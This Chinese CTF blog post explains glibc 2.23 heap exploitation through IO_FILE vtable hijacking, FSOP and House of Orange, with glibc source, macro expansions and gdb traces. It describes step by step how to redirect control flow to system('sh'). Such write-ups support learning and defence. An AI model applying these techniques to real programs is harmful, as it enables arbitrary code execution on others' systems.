首页
社区
课程
招聘
[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange
发表于: 2022-10-3 00:14 19744

[原创]Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange

2022-10-3 00:14
19744

在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/

如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。

强烈推荐阅读下面几篇文章:

fwrite:

fclose:

IO_FILE 相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:

前面分析了JUMP_FIELD,知道结构体_IO_jump_t中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?

在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN

gdb调试走到调用宏_IO_XSGETN的地方:

最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:

IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。

通过_IO_FILE *_chain实现链表结构,头部是全局变量_IO_list_all

如果能够控制_IO_FILE_plus结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流

劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段

例子可参考:

FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow

_IO_flush_all_lockp 被系统调用的时机

当 libc 执行 abort 流程时

当执行 exit 函数时

当执行流从 main 函数返回时

_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

ctf-wiki-FSOP

fsop攻击思路

exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp ;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0,也会调用_IO_flush_all_lockp(我用后一种思路成功了,前一种未找到原因,就是不成功)。

修改article指针到 _IO_2_1_stderr_ ,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp 为 system 。

因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus 头部。

调试查看结构体:

< 2.26

原理为:堆溢出 + size(top chunk)<size(request) + unsorted bin attack + fsop

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚函数表)来劫持控制流。

利用过程

通过堆溢出漏洞把top chunk的size改小

通过申请一个比溢出修改后top chunk的size更大的chunk,使得top chunk进入unsorted bin,泄露出libc基址

通过unsorted bin attack_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk

old_top_chunk伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流

_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted binfdbk指针,共0x10大小,再之后为small bin中的指针(每个small binfdbk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x200x60,而smallbin[4]fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60small bin的地址即为fake struct_chain中的内容,只需要控制该0x60small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP

1.分配一个chunk

2.溢出修改top chunk的size

3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中

heap的变化如下所示:

4.泄露出_IO_list_all的地址

回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:

所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)

5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all - 0x10

回顾fsop:

_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

FSOP攻击条件

6.为fsop作准备

前面unsortedbin attack可将_IO_list_all指针的值修改为main_arena+88。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr_IO_write_base的对应偏移处构造出合适的值。

所以将目光转向_IO_FILE的链表特性。_IO_flush_all_lockp函数会通过fp = fp->_chain不断的寻找下一个_IO_FILE

所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。

巧妙的是,_IO_FILE结构中的_chain字段对应偏移是0x68,而在main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。

7.unsortedbin attack实施

8.查看修改top[1] = 0x61;的结果:unsortedbin所在地址 + 0x68smallbin[0x60]->bk)变成&old_top_chunk

前面通过溢出将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。

大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:

接着步骤7,单步调试,走到mark_bin (av, victim_index);

继续单步调试,走完bck->fd = victim;

此时,IO_list_allIO_FILE(main_arena+88)IO_FILE(old_top_chunk)三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp -> __overflow就可以了

9.触发_IO_flush_all_lockp

for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:

调试:

victimsize为0,不满足要求,触发异常,调用malloc_printerr (check_action, "malloc(): memory corruption", chunk2mem (victim), av);, 从而调用_IO_flush_all_lockp,进而fsop攻击成功。

1.溢出修改top chunk的size

2.malloc一个更大的name chunk时,将top chunk释放到unsortedbin中

总结一下此时heap的变化:

3.再build一个house,泄露出_IO_list_all的地址:

当分配name3的时候,若申请的大小为largebin范围,由于old top chunk属于largebin范围,所以会先将其插入到largebin中,如下代码所示:

由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&...这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize。所以需要name3申请的大小为largebin大小

当分配name3的时候,单步调试上面代码,走到bck->fd = victim;的时候看一下各变量的值:

再总结一下此时heap的变化:

由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。

IO_FILE 与高版本 glibc 中的漏洞利用技巧

ctf-wiki-伪造 vtable 劫持程序流程

ctf-wiki-FSOP

glibc 2.24 下 IO_FILE 的利用

IO学习记录

IO FILE之fopen详解

IO FILE之fread详解

IO FILE之fwrite详解

IO FILE之fclose详解

IO FILE之劫持vtable及FSOP

IO FILE 之vtable劫持以及绕过

ctf-wiki-house_of_orange

IO_FILE相关利用

零基础要如何破除 IO_FILE 利用原理的迷雾

typedef struct _IO_FILE FILE;
 
// IO_FILE结构体
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
 
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  /*  char* _save_gptr;  char* _save_egptr; */
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
 
 
// IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
 
 
// stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
 
FILE *stdin = (FILE *) &_IO_2_1_stdin_; // 虽然stdin的类型是 FILE *,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
//...
 
 
// _IO_FILE_plus结构体
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
 
// _IO_jump_t结构体(虚函数表)
// 路径:/libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
 
// JUMP_FIELD宏
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
 
 
 
/** 以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE
_IO_xsgetn_t
typedef _IO_size_t (*_IO_xsgetn_t) (_IO_FILE *FP, void *DATA, _IO_size_t N); // 定义了一个函数指针
 
:NAME
__xsgetn
 
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<==>  _IO_xsgetn_t __xsgetn // 即给函数指针取别名 __xsgetn
 
**/
typedef struct _IO_FILE FILE;
 
// IO_FILE结构体
struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
 
  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */
 
  struct _IO_marker *_markers;
 
  struct _IO_FILE *_chain;
 
  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */
 
#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];
 
  /*  char* _save_gptr;  char* _save_egptr; */
 
  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
 
 
// IO_FILE_complete结构体,在_IO_FILE后面加了一些字段
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
# endif
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
 
 
// stdin、stdout……
extern struct _IO_FILE_plus _IO_2_1_stdin_;
 
FILE *stdin = (FILE *) &_IO_2_1_stdin_; // 虽然stdin的类型是 FILE *,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plus
FILE *stdout = (FILE *) &_IO_2_1_stdout_;
//...
 
 
// _IO_FILE_plus结构体
struct _IO_FILE_plus
{
  FILE file;
  const struct _IO_jump_t *vtable;
};
 
// _IO_jump_t结构体(虚函数表)
// 路径:/libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};
 
// JUMP_FIELD宏
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
 
 
 
/** 以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看
TYPE
_IO_xsgetn_t
typedef _IO_size_t (*_IO_xsgetn_t) (_IO_FILE *FP, void *DATA, _IO_size_t N); // 定义了一个函数指针
 
:NAME
__xsgetn
 
因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)
<==>  _IO_xsgetn_t __xsgetn // 即给函数指针取别名 __xsgetn
 
**/
   0x7ffff7a88710 <_IO_sgetn>                  mov    rax, qword ptr [rdi + 0xd8]
   0x7ffff7a88717 <_IO_sgetn+7>                mov    rax, qword ptr [rax + 0x40]
   0x7ffff7a8871b <_IO_sgetn+11>               jmp    rax
    
 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>       push   r14
   0x7ffff7a85ed2 <__GI__IO_file_xsgetn+2>     push   r13
   0x7ffff7a85ed4 <__GI__IO_file_xsgetn+4>     mov    r14, rsi
   0x7ffff7a85ed7 <__GI__IO_file_xsgetn+7>     push   r12
   0x7ffff7a85ed9 <__GI__IO_file_xsgetn+9>     push   rbp
   0x7ffff7a85eda <__GI__IO_file_xsgetn+10>    mov    r13, rdx
   0x7ffff7a85edd <__GI__IO_file_xsgetn+13>    push   rbx
   0x7ffff7a85ede <__GI__IO_file_xsgetn+14>    cmp    qword ptr [rdi + 0x38], 0
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio/fileops.c
   1355 }
   1356 libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
   1357
   1358 _IO_size_t
   1359 _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
 1360 {
   1361   _IO_size_t want, have;
   1362   _IO_ssize_t count;
   1363   char *s = data;
   1364
   1365   want = n;
   0x7ffff7a88710 <_IO_sgetn>                  mov    rax, qword ptr [rdi + 0xd8]
   0x7ffff7a88717 <_IO_sgetn+7>                mov    rax, qword ptr [rax + 0x40]
   0x7ffff7a8871b <_IO_sgetn+11>               jmp    rax
    
 0x7ffff7a85ed0 <__GI__IO_file_xsgetn>       push   r14
   0x7ffff7a85ed2 <__GI__IO_file_xsgetn+2>     push   r13
   0x7ffff7a85ed4 <__GI__IO_file_xsgetn+4>     mov    r14, rsi
   0x7ffff7a85ed7 <__GI__IO_file_xsgetn+7>     push   r12
   0x7ffff7a85ed9 <__GI__IO_file_xsgetn+9>     push   rbp
   0x7ffff7a85eda <__GI__IO_file_xsgetn+10>    mov    r13, rdx
   0x7ffff7a85edd <__GI__IO_file_xsgetn+13>    push   rbx
   0x7ffff7a85ede <__GI__IO_file_xsgetn+14>    cmp    qword ptr [rdi + 0x38], 0
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio/fileops.c
   1355 }
   1356 libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
   1357
   1358 _IO_size_t
   1359 _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
 1360 {
   1361   _IO_size_t want, have;
   1362   _IO_ssize_t count;
   1363   char *s = data;
   1364
   1365   want = n;
/**
   _IO_sgetn函数
    fread -> _IO_sgetn -> _IO_XSGETN
    路径:/libio/genops.c
**/ 
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);  ////////// call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
 
/**
    宏 _IO_XSGETN
    路径:/libio/libioP.h
**/
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
 
/**
    宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
    JUMP2 = (_IO_JUMPS_FUNC(THIS)->FUNC)
    路径:/libio/libioP.h
**/
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
 
/**
    宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
    路径:/libio/libioP.h
    分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
          然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
          最后返回:_IO_FILE_plus 结构体地址 + vtable的偏移
**/
# define _IO_JUMPS_FUNC(THIS) \
 (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
               + (THIS)->_vtable_offset))
 
/**
    宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
    路径:/libio/libioP.h
**/
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) // 这里可以明确是 _IO_FILE_plus 结构体
 
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
   violation in case THIS has a different pointer type.
   路径:/libio/libioP.h
   */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
 
/* Type of MEMBER in struct type TYPE.
 路径:/libio/libioP.h
 typeof关键字:https://blog.csdn.net/u012066426/article/details/50788984?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1
 */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
 
 
/**
综上,不断展开宏 _IO_XSGETN 看一下:
     _IO_XSGETN(FP, DATA, N)
<==> JUMP2 (__xsgetn, FP, DATA, N)
<==> (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)
      // 可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<==> ( (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (FP)  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
     // 下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<==> ( (*(struct _IO_jump_t **) ((void *) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
**/
/**
   _IO_sgetn函数
    fread -> _IO_sgetn -> _IO_XSGETN
    路径:/libio/genops.c
**/ 
_IO_size_t
_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  /* FIXME handle putback buffer here! */
  return _IO_XSGETN (fp, data, n);  ////////// call _IO_XSGETN
}
libc_hidden_def (_IO_sgetn)
 
/**
    宏 _IO_XSGETN
    路径:/libio/libioP.h
**/
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
 
/**
    宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数
    JUMP2 = (_IO_JUMPS_FUNC(THIS)->FUNC)
    路径:/libio/libioP.h
**/
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2
#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)
 
/**
    宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址
    路径:/libio/libioP.h
    分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable
          然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体
          最后返回:_IO_FILE_plus 结构体地址 + vtable的偏移
**/
# define _IO_JUMPS_FUNC(THIS) \
 (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
               + (THIS)->_vtable_offset))
 
/**
    宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址
    路径:/libio/libioP.h
**/
#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) // 这里可以明确是 _IO_FILE_plus 结构体
 
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing
   violation in case THIS has a different pointer type.
   路径:/libio/libioP.h
   */
#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))
 
/* Type of MEMBER in struct type TYPE.
 路径:/libio/libioP.h
 typeof关键字:https://blog.csdn.net/u012066426/article/details/50788984?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1
 */
#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
 
 
/**
综上,不断展开宏 _IO_XSGETN 看一下:
     _IO_XSGETN(FP, DATA, N)
<==> JUMP2 (__xsgetn, FP, DATA, N)
<==> (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)
      // 可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针
<==> ( (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (FP)  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
     // 下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体
<==> ( (*(struct _IO_jump_t **) ((void *) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
<==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)
 
**/
// 函数原型:
FILE *fopen(const char *filename, const char *mode);
 
// 调用链:
fopen(_IO_new_fopen)
-> __fopen_internal
    -> malloc // 分配内存空间
    -> _IO_no_init // FILE 结构体进行null初始化。
    -> _IO_file_init // FILE结构体链接进入_IO_list_all链表
    -> _IO_file_fopen // 执行系统调用open打开文件,并将文件描述符赋值给FILE结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
 
// 未调用vtable中的函数
// 函数原型:
FILE *fopen(const char *filename, const char *mode);
 
// 调用链:
fopen(_IO_new_fopen)
-> __fopen_internal
    -> malloc // 分配内存空间
    -> _IO_no_init // FILE 结构体进行null初始化。
    -> _IO_file_init // FILE结构体链接进入_IO_list_all链表
    -> _IO_file_fopen // 执行系统调用open打开文件,并将文件描述符赋值给FILE结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。
 
// 未调用vtable中的函数
// 函数原型:
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
 
// 调用链:
fread(_IO_fread)
-> _IO_sgetn (_IO_XSGETN(宏))
    -> _IO_file_xsgetn(__GI__IO_file_xsgetn)  // fread读入数据的核心函数
        -> _IO_doallocbuf  -> _IO_file_doallocate // 初始化FILE结构体中的指针,建立输入缓冲区
        -> __underflow   -> _IO_file_underflow // 调用系统调用读入数据
 
 
// _IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:
// 第一部分是fp->_IO_buf_base为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。
// 第二部分是输入缓冲区里有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。
// 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。
 
